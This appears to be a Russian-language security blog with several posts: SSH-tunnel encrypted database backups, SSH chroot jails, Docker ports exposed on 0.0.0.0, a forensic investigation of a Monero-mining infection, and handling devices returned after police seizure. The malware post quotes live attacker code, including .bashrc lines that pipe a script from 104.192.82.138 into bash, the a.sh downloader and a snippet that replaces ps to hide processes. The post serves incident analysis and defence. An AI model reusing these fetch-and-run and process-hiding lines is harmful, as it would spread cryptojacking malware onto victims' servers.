Этот скрипт создаст на локалхосте backups-vpn порт 6661, который будет прокидывать порт 5432 на локальном айпи 192.168.100.28 у сервера prod.

Следующий шаг - надо зайти на новый сервер руками, для того чтобы проверить и записать fingerprint:

backups-vps # ssh backups@prod
...
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
...

Аналогичным образом можно создать туннели для других серверов в этом скрипте, если серверов СУБД несколько (и не забыть про ручной вход при первом использовании!).

Теперь тестово запускаем скрипт:

backups-vps # ./tunnel.sh
Ok

Проверяем через telnet localhost 6661 и если все ок, значит скрипт работает как надо.

Коннект рано или поздно отвалится, поэтому вызов скрипта нужно добавить в crontab:

backups-vps # crontab -e
*/5 * * * * /root/tunnel.sh

Первый бэкап базы и шифрование ее GPG

Можно попробовать снять дамп и зашифровать его ключами GPG:

backups-vps $ pg_dump -h127.0.0.1 -p6661 -Upostgres -d finance |  gpg -e -r cryptopunks -r myfriend -o finance.gpg

Таким образом я сниму базу finance с сервера prod через сервер backups-vps, сожму ее и зашифрую ключами GPG cryptopunks и myfriend.

Как расшифровать базу

Для этого копируем finance.gpg с сервера backups-vps на компьютер, где у нас находится приватный ключ cryptopunks созданный ранее и выполняем команду:

gpg -d finance.gpg > finance.sql

Важные слова о безопасности VPS, приватных ключах и бэкапах

VPS эту надо защитить всеми возможными способами, потому что на ней будут доступы ко всему. Поэтому VPS берём у проверенного провайдера (а лучше - хостим у себя), ничего кроме ssh/gpg/pg_dump/mysqldump на ней не держим, все порты кроме SSH фаерволлом закрываем, авторизацию по паролю убираем, по возможности шифруем ей диск. На приватный ключ SSH VPS ставим сложный пароль (вводим его каждый раз после перезагрузки через ssh-agent).

Приватный ключ GPG не храним на ней ни в коем случае. Храним ключ на зашифрованной флешке и используем его на отдельном компьютере без интернета.

На VPS проливаем лишь публичную часть ключа, которой будем шифровать бэкапы. Лучше добавить два ключа. Свой и человека, которому доверяешь (это может быть, например, коллега). Шифрованные же бекапы лучше хранить в двух разных местах и даже у разных хостеров.

По возможности никому не даем доступы на эту машину! Если людям нужны эпизодически бэкапы, то открываем им доступ к другому серверу, на который эти зашифрованные бэкапы переодически заливаются.

Плюсы данного подхода

бэкапы храняться на отдельном сервере и их сложно удалить/модифицировать/украсть
для снятия бэкапов не требуется доступ к серверу с бэкапами, потому что он сам за ними ходит куда надо
бэкапы шифруются стойкими алгоритмами шифрования
на сервере бэкапов нет ключей для их расшифровки
можно с сервера бэкапов организовать распределение резервных копий на другие сервера и облака
можно распределять доступы к базам разным людям, шифруя бэкапы нужными ключами конкретных юзеров
не требовательно к ресурсам

Минусы данного подхода

получив доступ к этой впс человек получит доступ ко всем серверам с которых эти резервные копии собираются
с доступом к ней можно прокинуть совершенно любой открытый порт с удаленного сервера через ssh

И да, всем привет после очень долгого затишья ;)

SSH доступ в chroot-окружение

Sat, 15 Oct 2022 00:00:00 +0000

Однажды мне понадобилось создать подруге доступ к серверу, но не хотелось давать ей возможность рыться в каталогах сервера. И я начал размышлять о том, как это можно реализовать. Да, можно ограничить доступ к определенным каталогам, но всё равно есть базовые вещи вроде /etc/passwd, доступ к которым не закроешь. Да и если хранится критически важная инфа на сервере, то достаточно найти уязвимый компонент в ОС, применить эксплоит и получить root. Я решил усложнить эту задачу, засунув юзера дополнительно в chroot какого нибудь еще дистриба :)

Чтобы не запутаться в рекурсиях

Теперь давай договоримся об обозначениях:

myserver# - сервер, на котором мы будем организовывать чрут
chroot# - собственно, сам чрут на сервере
notebook$ - мой комп, с которого я логинюсь к чруту и серверу

Создаём юзера

Сначала всё стандартно:

myserver# adduser test

Потом надо немного пошаманить с правами доступа:

myserver# chown root:root /home/test
myserver# chmod 0755 /home/test

Если вдруг потом потребуется вход по ключу, то права должны быть такие:

myserver# mkdir /home/test/.ssh
myserver# echo 'ключик_для_входа' > /home/test/.ssh/authorized_keys
myserver# chown -R test:test /home/test/.ssh

Шаманим с Сашкой

В конец файла /etc/ssh/sshd_config прописываем строчки:

Match User test
ChrootDirectory /home/test

Не забываем перезапустить:

myserver# systemctl restart sshd

Готовим чрут

Урезаем до минимума

Можно вообще юзеру запретить всё кроме того, что ему должно быть доступно. К примеру, ограничим пользователя оболочкой баша и бинарником /bin/ls.

Сначала смотрим, от каких либ зависит наши бинарники:

myserver# ldd /bin/ls
        linux-vdso.so.1 (0x00007ffd40ede000)
        libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007fb098aa1000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb0986b0000)
        libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007fb09843f000)
        libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fb09823b000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fb098eeb000)
        libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fb09801c000)

myserver# ldd /bin/bash
        linux-vdso.so.1 (0x00007fff881a3000)
        libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007fa973cdc000)
        libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fa973ad8000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa9736e7000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fa974220000)

Далее создаем структуру аналогичную хостовой машине:

myserver# cd /home/test
myserver# mkdir -p lib/x86_64-linux-gnu/ lib64 bin

Копируем бинарники:

myserver# cp /bin/bash /bin/ls /home/test/bin

Копируем библиотеки:

myserver# cp /lib/x86_64-linux-gnu/{libselinux.so.1,libc.so.6,libpcre.so.3,libdl.so.2,libpthread.so.0,libtinfo.so.5} /home/test/lib/x86_64-linux-gnu/
myserver# cp /lib64/ld-linux-x86-64.so.2 /home/test/lib64

Пробуем залогиниться:

notebook$ ssh test@myserver
...
chroot$ ls
bin  lib  lib64
chroot$ uname
-bash: uname: command not found
chroot$

Задача выполнена. По такой же аналогии копируем нужные бинари и получаем максимально кастрированную chroot-систему.

Еще иногда для полноценной работы бывает нужно создать какие нибудь девайсы, например:

myserver# mkdir /home/test/dev && cd /home/test/dev
myserver# mknod -m 666 random c 1 8
myserver# mknod -m 666 zero c 1 5
myserver# mknod -m 666 tty c 5 0
myserver# mknod -m 666 null c 1 3

Ставим полноценный дистриб

Ну а если по какой-то причине нужен полноценный линукс, то можно поставить совершенно любой. Главное, чтобы архитектура была той же, что и в хостовой системе.

Мне захотелось привести пример с gentoo linux.

Поскольку долго старые снапшоты генты не залёживаются, то и приводить прямого линка не буду. Заходим сюда и качаем tar.xz-архив (у меня это был stage3-x32-openrc-20221009T170545Z.tar.xz), кладём его в директорию /home/test и распаковываем:

myserver# cd /home/test
myserver# tar -xf stage3-x32-openrc-20221009T170545Z.tar.xz
myserver# ls
bin  boot  dev  etc  home  lib  lib64  libx32  media  mnt  opt  proc  root  run  sbin  stage3-x32-openrc-20221009T170545Z.tar.xz  sys  tmp  usr  var

Далее, если мы приконнектимся, то получим урезанный в системном смысле, но не лишенный никаких бинарников дистрибутив:

notebook$ ssh test@myserver
...
chroot$ uname -a
Linux pentest 4.15.0-176-generic #185-Ubuntu SMP Tue Mar 29 17:40:04 UTC 2022 x86_64 GNU/Linux
chroot$ df -h
df: cannot read table of mounted file systems: No such file or directory

То есть в нем можно выполнять огромное кол-во необходимых задач, но взаимодействовать с ОС полноценно нельзя.

Теперь сделаем работу с ОС в чруте практически идеальной. Прошу заметить, что при этом основная хостовая система станет чуть менее безопасной.

Для начала фиксим права доступа, чтобы юзер test стал рутом в своем чруте:

myserver# chown -R test:test /home/test/*

Далее монтируем в чрут основные хостовые линуксовые ФС:

myserver# cd /home/test
myserver# mount -o bind /proc proc
myserver# mount -o bind /sys sys
myserver# mount -o bind /dev dev
myserver# mount -o bind /run run

Заходим, пробуем:

notebook$ ssh test@myserver
chroot$ df -h
Filesystem      Size  Used Avail Use% Mounted on
udev            2.0G     0  2.0G   0% /dev
tmpfs           395M   41M  355M  11% /run

Задача выполнена!

Немного включаем фантазию

Все эти уловки можно использовать и для другого рода задач. Например, у тебя есть сервер и ты хочешь иметь несколько дистрибов линукса на нём.

Создай несколько юзеров и поставь каждому свой дистриб. Например, юзера kali с kali linux для пентеста.

Хотя, с другой стороны, всё тоже самое можно сделать и руками через root+chroot, или вообще в docker (работая с докер не забывай об этой ошибке). Но и такой способ тоже имеет право на существование!

Если вдруг тебе пришла еще какая-нибудь мысль в голову, как это можно ещё использовать, то пиши на почту, или в комментарии к этой статье в телеграм @cryptopunksorg.

Простой пример атаки на docker

Thu, 13 Oct 2022 00:00:00 +0000

Многие люди по какой-то причине пускают docker у себя на локальном компьютере с очень уязвимыми параметрами, на которые никто не обращает внимание. Наверное, думают, что локальный компьютер это не страшно. Я хочу продемонстрировать как использовать эту уязвимость, чтобы ты проверил свой компьютер и устранил брешь в безопасности и помог другим ее устранить, скинув линк на статью.

Примеры двух уязвимостей

Часто ли ты встречал в доках в интернете примерно такой пример развертывания PostgreSQL:

docker run -e POSTGRES_PASSWORD=postgres -p 5432:5432 postgres:10

Тут есть две серьезные ошибки.

Первая - дефолтный пароль, который даже брутфорсить не нужно. Используй всегда рандомный пароль, сгенерированный какой-нибудь специальной софтиной, даже если это локальный компьютер. Например, pwgen:

$ pwgen 20
bohz5aa9aetoh1Iapedo doow7AiX5amai8aemewe aideiL3ooreexaiquae8
paPheeFu4aekeiDoocaa sheiloon6xuedeWoongi hoodoh4Eey1gaibahRei
iGheesie5seetieH2quo iNgei8eethie9yethecu Thie9kae9fae5eej1quu
soCiakikahngoo1sheiM re4Ea0eiph5Roo7ohCei eyar3aegeigerango6To
shanguoPh9fieFoh4te8 Leo3aen4tir3ahzeishi eewi7Haig1leeVei1oog

Вторая серьёзная брешь в безопасности — параметр -p 5432:5432. Именно о ней мы сегодня и поговорим.

Ищем уязвимость с 0.0.0.0

Давай посмотрим, сколько потенциально уязвимых приложений запущено у тебя на компе. Запусти все свои контейнеры в docker и выполни команду:

$ docker ps | grep 0.0.0.0
b028f8e80d3f   postgres:10   "docker-entrypoint.s…"   21 minutes ago   Up 1 second   0.0.0.0:5432->5432/tcp   angry_aryabhata

Если список пуст, то всё хорошо. Если что-то вывелось - беда.

Понимаешь ли ты, что такое IP 0.0.0.0? Это адрес специального назначения, цель которого - принимать соединения с любого сетевого интерфейса. Это значит, что ты пускаешь порт PostgreSQL на все сетевые адреса своего компьютера.

Если в твоем компе нет вайфая и эзернета, он стоит в шкафу, и ты никогда не планируешь выходить с его помощью в онлайн, то нет никаких проблем. Но скорее всего он подключен к интернету, и тогда ты либо светишь портами докера наружу (что есть самый плохой из вариантов), либо - в локальную сеть со своим (чужим??) роутером.

Если со внешкой всё понятно, то проблема локальной сети для некоторых может быть не очевидной. Про это и поговорим.

Дампим базы постгреса с локальной сети

Допустим, ты подключен к общей с Васей wifi-сети. Вася берет и сканирует весь пулл адресов вашего вайфая (например, 192.168.1.1-255) — находит твой айпи 192.168.1.3 и видит на нём открытый порт постгреса 5432. Пробует законнектится:

$ psql -U postgres -h192.168.1.3

psql (10.21 (Debian 10.21-1.pgdg90+1))
Type "help" for help.

postgres=#

Теперь делает всё тоже самое, но уже с pg_dump. И все твои базы у него в кармане.

Еще одна неочевидная и очень стрёмная проблема

Хочешь еще прикол один расскажу? Ты можешь думать, что никогда не коннектишься к чужим вайфаям, твой вайфай дома сильно защищен (кстати, не верю, такого не бывает), и ты никому не говоришь пароля — но скорее всего ты когда-нибудь да пользуешься VPN! А это значит, что ты коннектишься в общую локальную сеть своего VPN-провайдера, а 0.0.0.0 в докере раздает доступ к порту 5432, в том числе в эту сеть! А значит, и другие юзеры этого VPN могут сдампить твою базу.

Как правильно создавать контейнеры

На примере того же PostgreSQL:

$ docker run -e POSTGRES_PASSWORD=bohz5aa9aetoh1Iapedo -p 127.0.0.1:5432:5432 postgres:10

Никогда, слышишь, НИКОГДА не используй 0.0.0.0 (-p 5432:5432). Пускай все свои приложения сугубо на локалхосте, вот так: -p 127.0.0.1:5432:5432.

И переодически делай проверку на 0.0.0.0 во избежание утечек:

$ docker ps | grep 0.0.0.0

Пример поиска вируса в Linux-системе

Tue, 15 Feb 2022 00:00:00 +0000

Друзья попросили глянуть их зараженный вирусом сервер. Жаловались на то, что он очень медленно работает и странно себя ведет.

Первым делом я выключил сервер и перевел его в режим восстановления (грубо говоря, загрузился в независимую livecd-систему).

Смонтировал диск с ОС в /mnt и сделал полный бэкап системы, с которой собственно и собирался работать, чтобы в случае проблем можно было откатиться назад.

Далее у меня было в планах отключить интернет у сетевой карты, загрузиться в ОС и вживую покопаться в процессах, поэтому мне надо было обнулить пароль у root, т.к я его не знал (потом я этот этап решил упразднить).

Для этого я сделал chroot /mnt — и это было ошибкой! Чрут не хотел работать, и я не сразу понял, в чем дело, поэтому остановил его ctrl+c. Потом ты поймешь, чем он занимался в моменте чрутинга… После ctrl+c я попал все таки внутрь системы.

Попытался сделать passwd для смены пароля и наткнулся на ошибку passwd: Authentication token manipulation error.

Полез в /etc/shadow, чтобы посмотреть, что там не так, и увидел вот такое мясо:

...
hilde:$6$7n/iy4R6znS2iq0J$QjcECLSqMMiUUeHR4iJmkHLzAwgoNRhCC87HI3df95nZH5569TKwJEN2I/lNanPe0vhsdgfILPXedlWlZn7lz0:18461:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::

Потом полез в /etc/passwd и увидел в конце две свежие записи:

...
hilde:x:1000:1000::/home/hilde:/bin/bash
lsb:x:1000:1000::/home/lsb:/bin/bash

В /home появилось два новых юзера (hilde и lsb), в их каталогах три неприметных скрытых файла:

root@rescue /mnt/home/hilde # ls -la
total 20K
drwxr-xr-x   3 root root 4.0K Feb 13 21:20 .
drwxr-xr-x. 13 root root 4.0K Feb 14 18:40 ..
-rw-r--r--   1 root root   80 Feb 13 21:20 .bashrc
-rw-r--r--   1 root root   80 Feb 13 21:20 .profile
drwxr-xr-x   2 root root 4.0K Feb 13 20:25 .ssh

Не поверив, что файлы могут быть со стандартным содержимым — решил проверить и не ошибся:

root@rescue /mnt/home/hilde # cat .bashrc

{
/bin/cdz -fsSL http://104.192.82.138/s3f1015/a/a.sh | bash
} > /dev/null 2>&1

root@rescue /mnt/home/hilde # cat .profile 

{
/bin/cdz -fsSL http://104.192.82.138/s3f1015/a/a.sh | bash
} > /dev/null 2>&1

Ага, вот и какой-то шеллкод. Сейчас к нему вернемся, но перед этим посмотрим, что у нас в .ssh:

root@rescue /mnt/home/hilde/.ssh # ls
authorized_keys  authorized_keys2

root@rescue /mnt/home/hilde/.ssh # cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmEFN80ELqVV9enSOn+05vOhtmmtuEoPFhompw+bTIaCDsU5Yn2yD77Yifc/yXh3O9mg76THr7vxomguO040VwQYf9+vtJ6CGtl7NamxT8LYFBgsgtJ9H48R9k6H0rqK5Srdb44PGtptZR7USzjb02EUq/15cZtfWnjP9pKTgscOvU6o1Jpos6kdlbwzNggdNrHxKqps0so3GC7tXv/GFlLVWEqJRqAVDOxK4Gl2iozqxJMO2d7TCNg7d3Rr3w4xIMNZm49DPzTWQcze5XciQyNoNvaopvp+UlceetnWxI1Kdswi0VNMZZOmhmsMAtirB3yR10DwH3NbEKy+ohYqBL root@puppetserver

Ага, чей-то публичный ключик для коннекта с сервером.

Вобъем в гугл и убедимся что мы не первые жертвы:

Потом прогнал поиском рекурсивно по ключевику 104.192.82.138 и обнаружил, что абсолютно у всех юзеров (еще и в кронтабе!) эта гадость прописалась:

Теперь понимаешь, почему при чруте была такая странная и долгая пауза? Потому что в /root/.bashrc тоже была записана загрузка шеллкода.
Настоятельно рекомендую перед чрутом всегда проверять как минимум root/.bashrc, root/.profile на наличие стремных записей.

Перейдем наконец к шеллкоду — по этому адресу http://104.192.82.138/s3f1015/a/a.sh (лучше не качай, а посмотри код ниже) находится скрипт a.sh следующего содержания:

#!/bin/bash
echo "ok22$(date)" >>/tmp/ok.log
export CURL_CMD="curl"
if [ -f /bin/cd1 ];then
    export CURL_CMD="/bin/cd1" 
elif [ -f /bin/cur ];then
    export CURL_CMD="/bin/cur" 
elif [ -f /bin/TNTcurl ];then
    export CURL_CMD="/bin/TNTcurl" 
elif [ -f /bin/curltnt ];then 
    export CURL_CMD="/bin/curltnt" 
elif [ -f /bin/curl1 ];then
    export CURL_CMD="/bin/curl1" 
elif [ -f /bin/cdt ];then
    export CURL_CMD="/bin/cdt" 
elif [ -f /bin/xcurl ];then
    export CURL_CMD="/bin/xcurl"  
elif [ -x "/bin/cdz" ];then
    export CURL_CMD="/bin/cdz"
fi 
sh_url="http://104.192.82.138/s3f1015"  
export MOHOME=/var/tmp/.crypto/...
if [ -f ${MOHOME}/.ddns.log ];then
    echo "process possible running"
    current=$(date +%s)
    last_modified=$(stat -c "%Y" ${MOHOME}/.ddns.log)
    if [ $(($current-$last_modified)) -gt 6 ];then
        echo "process is not running"
    else 
        ${CURL_CMD} -fsSL -o ${MOHOME}/.ddns.pid ${sh_url}/m/reg0.tar.gz
        exit 0
    fi
fi
if [ "$(id -u)" == "0" ];then
    ${CURL_CMD} -fsSL ${sh_url}/c/ar.sh |bash
else
    ${CURL_CMD} -fsSL ${sh_url}/c/ai.sh |bash
fi

Если проанализировать этот файлик и собрать все куски воедино, то получатся ссылки на инсталлеры — вот они:

http://104.192.82.138/s3f1015/c/ar.sh
http://104.192.82.138/s3f1015/c/ai.sh

Файлики по ссылкам качать не советую (поэтому сделал их не кликабельными), да и ссылки эти рано или поздно умрут вместе с сервером. Опубликую код инсталлеров с убранным в начале #!/bin/bash, чтобы ты их случайно не запустил (если их не удалит github, потому что они могут попасть в вирусные базы).

Вот эти два “кастрированных” файла:
ar.sh.txt
ai.sh.txt

Первый файлик рассчитан на ситуацию, если захваченная машина с рутовскими правами, второй — если это обычный юзер.

У них, кстати, неплохой код, его очень интересно изучать. Хотя и не без грубых косяков! Например, можно было бы сделать его присутствие менее паливным. Как минимум, не нужно было его пихать сразу во все места, ну и дату создания файла можно же поменять у ФС для созданных и модифицированных файлов. А так, по сути, они все find‘ом ищутся через опцию atime. Ну чуваки, ну камон)

Зато обрати внимание, как он лихо скрывает своё присутствие в ps:

...
mv /bin/ps /bin/ps.lanigiro 
echo "#!/bin/bash">/bin/ps
echo "ps.lanigiro \$@ | grep -v 'ddns\|httpd'" >>/bin/ps 
touch -d 20160825 /bin/ps
chmod a+x /bin/ps
${CHATTR} +i /bin/ps

Если интересно (не забудь написать) — могу разобрать их в следующей статье.

Так, вернемся к зараженной машине и посмотрим, что в /var/tmp/ (этот путь я нашел в ранее упомянутом файлике a.sh):

root@rescue /mnt/var/tmp # ls -la
total 28K
drwxrwxrwt.  5 root root 4.0K Feb 14 21:47 .
drwxr-xr-x. 20 root root 4.0K Feb 14 18:38 ..
drwxr-xr-x   3 root root 4.0K Feb 14 12:30 ...
-rw-r--r--   1 root root    9 Feb 13 20:30 .alsp
drwxr-xr-x   2 root root 4.0K Feb 13 20:25 .copydie
drwxr-xr-x   3 root root 4.0K Feb 13 21:20 .crypto
-rw-rw-r--   1  992  989    9 Feb 14 02:34 .psla

Так, видим следы, которые оставил скрипт после себя.

Посмотрим, что в обоих каталогах. Это гениально! Обрати внимание на то, как гармонично вписывается скрытый файл …, я даже не сразу понял что происходит с шеллом :)

Посмотрим, что у нас там:

root@rescue /mnt/var/tmp/.crypto # ls -la .../
total 6.2M
drwxr-xr-x 2 root root 4.0K Feb 14 12:30 .
drwxr-xr-x 3 root root 4.0K Feb 13 21:20 ..
-rwxr-xr-x 1 1000 1000 6.0M Mar  7  2021 .ddns
-rw-r--r-- 1 root root 195K Feb 14 17:52 .ddns.log
-rw-rw-rw- 1 root root 2.6K Feb 14 14:12 .ddns.pid
-rwxrwxrwx 1 root root 9.7K Dec  6 17:43 httpd
-rw-r--r-- 1 root root    7 Feb 13 21:20 .pid
-rw-rw-rw- 1 root root    2 Feb 13 21:20 .profile

Два каких-то бинарника:

root@rescue /mnt/var/tmp/.crypto/... # file httpd .ddns
httpd: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), statically linked, no section header
.ddns: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, stripped

Если верить названию, то это хттп-сервер и какой-то днс. Но верить не будем, но и запускать пока тоже не рискнем. Глянем логи и файлы конфигурации:

root@rescue /mnt/var/tmp/.crypto/... # cat .profile 
0
root@rescue /mnt/var/tmp/.crypto/... # cat .pid 
761153root@rescue /mnt/var/tmp/.crypto/... # 

А вот в файлике .ddns.pid у нас никакой не pid процесса, а какой-то конфигурационный файл — по всей видимости, майнер:

{
    "api": {
        "id": null,
        "worker-id": null
    },
    "http": {
        "enabled": false,
        "host": "127.0.0.1",
        "port": 0,
        "access-token": null,
        "restricted": true
    },
    "autosave": true,
    "background": false,
    "colors": true,
    "title": true,
    "randomx": {
        "init": -1,
        "init-avx2": -1,
        "mode": "auto",
        "1gb-pages": false,
        "rdmsr": true,
        "wrmsr": true,
        "cache_qos": false,
        "numa": true,
        "scratchpad_prefetch_mode": 1
    },
    "cpu": {
        "enabled": true,
        "huge-pages": true,
        "huge-pages-jit": false,
        "hw-aes": null,
        "priority": null,
        "memory-pool": false,
        "yield": true,
        "asm": true,
        "argon2-impl": null,
        "astrobwt-max-size": 550,
...

Пробую гуглить какие-нибудь уникальные строчки и выхожу на файлик https://github.com/xmrig/xmrig/blob/master/src/config.json. Смотрим описание https://github.com/xmrig/xmrig и видим, что это майнер:

XMRig is a high performance, open source, cross platform RandomX, KawPow, CryptoNight, AstroBWT and GhostRider unified CPU/GPU miner and RandomX benchmark. Official binaries are available for Windows, Linux, macOS and FreeBSD.

Так, поехали дальше, у нас еще одна директория имеется:

root@rescue /mnt/var/tmp/.copydie # ls
 config_background.json  '[kswapd0]'  '[kswapd0].log'  '[kswapd0].pid'  '[kswapd0].sh'

В общем, и тут майнер:

root@rescue /mnt/var/tmp/.copydie # head -n5 config_background.json

{
    "api": {
        "id": null,
        "worker-id": null
    },

root@rescue /mnt/var/tmp/.copydie # head -n10 \[kswapd0\].log

 * ABOUT        XMRig/6.2.3-mo2 gcc/7.3.1
 * LIBS         libuv/1.8.0 
 * HUGE PAGES   supported
 * 1GB PAGES    unavailable
 * CPU          Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz (1) x64 AES
                L2:1.0 MB L3:8.0 MB 4C/8T
 * MEMORY       54.8/62.5 GB (88%)
 * DONATE       1%
 * ASSEMBLY     auto:intel
 * POOL #1      elastic.zzhreceive.top:1414 coin monero

root@rescue /mnt/var/tmp/.copydie # head -n10 \[kswapd0\].sh

#!/bin/bash
if ! pidof [kswapd0] >/dev/null; then
  nice /var/tmp/.copydie/[kswapd0] $*
else
  echo "Monero miner is already running in the background. Refusing to run another one."
  echo "Run \"killall xmrig\" or \"sudo killall xmrig\" if you want to remove background miner first."
fi

Вообще, чистить машину от этой гадости я смысла никакого не вижу.

Если рассмотреть инсталлеры, код которых я привел выше (ar.sh, ai.sh), то станет ясно, что он загадил всю машину своими следами, обнулил правила фаерволла и выставил для ряда файлов атрибуты неизменяемости (chattr).

Кстати, этот вирус и хорошим делом занимается — чистит компьютер от конкурентов: сносит чужие вирусы с майнерами в кронтабе, удаляет неугодные докер-контейнеры :)

Написать скрипт-антидот, конечно, можно, и может быть даже имело бы смысл этим заняться, но возиться с этим у меня пока нет желания. Проще систему переставить.

Небольшое заключение

Как-то так. Надеюсь тебе понравилось это мини-расследование.

Кстати, если нуждаешься в чистке сервера от какой нибудь нечисти, то можешь писать мне.

Ну и буду рад даже очень скромным донейтам (например, на кофе) и какой-нибудь обратной связи.

Что делать с компьютерной техникой после обыска, изъятия и возврата

Fri, 02 Apr 2021 00:00:00 +0000

В политически нестабильных странах очень часто прессуют журналистов, правозащитников и простых активистов. Порой приходят с обысками, изымают технику – и через определённое время, как правило, возвращают. Многие из-за паранойи вынуждены впоследствии её продавать и покупать новое железо, так как не исключают вживления в устройства аппаратных бекдоров. Особенно напрягает менять устройства, когда такая практика их изъятия – систематическая. Но к сожалению, это вынужденная и правильная мера. Хочу рассказать почему.

Аппаратные и программные бекдоры

Прошли те времена, когда спецслужбы в компьютеры внедряли аппаратные бекдоры. Раньше можно было обойтись переодическим взвешиванием устройства до обыска/изъятия и после его возврата. Сейчас же эта схема не сработает. А всё потому что появились более изящные способы взять тебя на карандаш и следить за твоими действиями. Теперь же могут модифицировать биос на материнской плате, либо вообще прошить микрокод в винчестере, и после подключения он может, например, слить пароль от твоего LUKS-контейнера майору на почту (ну а копия твоего винта у него уже есть, не сомневайся в этом). Не исключено также, что и в сам софт тебе что-то внедрили, и что скорее всего не сразу увидит антивирус.

Поэтому лучше всего сменить устройство на новое. И не менее важно ответственно подойти к копированию информации со старого устройства на новое!

Если же ты решил оставить устройство, то как минимум снеси всё к чертям, установив всё с нуля (но, повторюсь еще раз, это не гарантированное решение – ты просто чуть минимизируешь риски).

Как правильно копировать информацию с устройства, которое вернули

Поскольку старое устройство может быть заражено, то как только ты подключишься к интернету – твои конфиденциальные данные могут утечь в сеть. Причём может не спасти даже то, что раздел с ОС был зашифрован, потому что ПЗУ биоса или накопителя могло быть модифицировано для этой задачи. Поэтому необходим как минимум еще один компьютер. В этом компьютере ты отключаешь интернет, подключаешь запоминающее устройство, проверяешь файлы на вирусы и делаешь бекап необходимых данных, после чего отключаешь накопительное устройство – и только потом подключаешься к интернету.

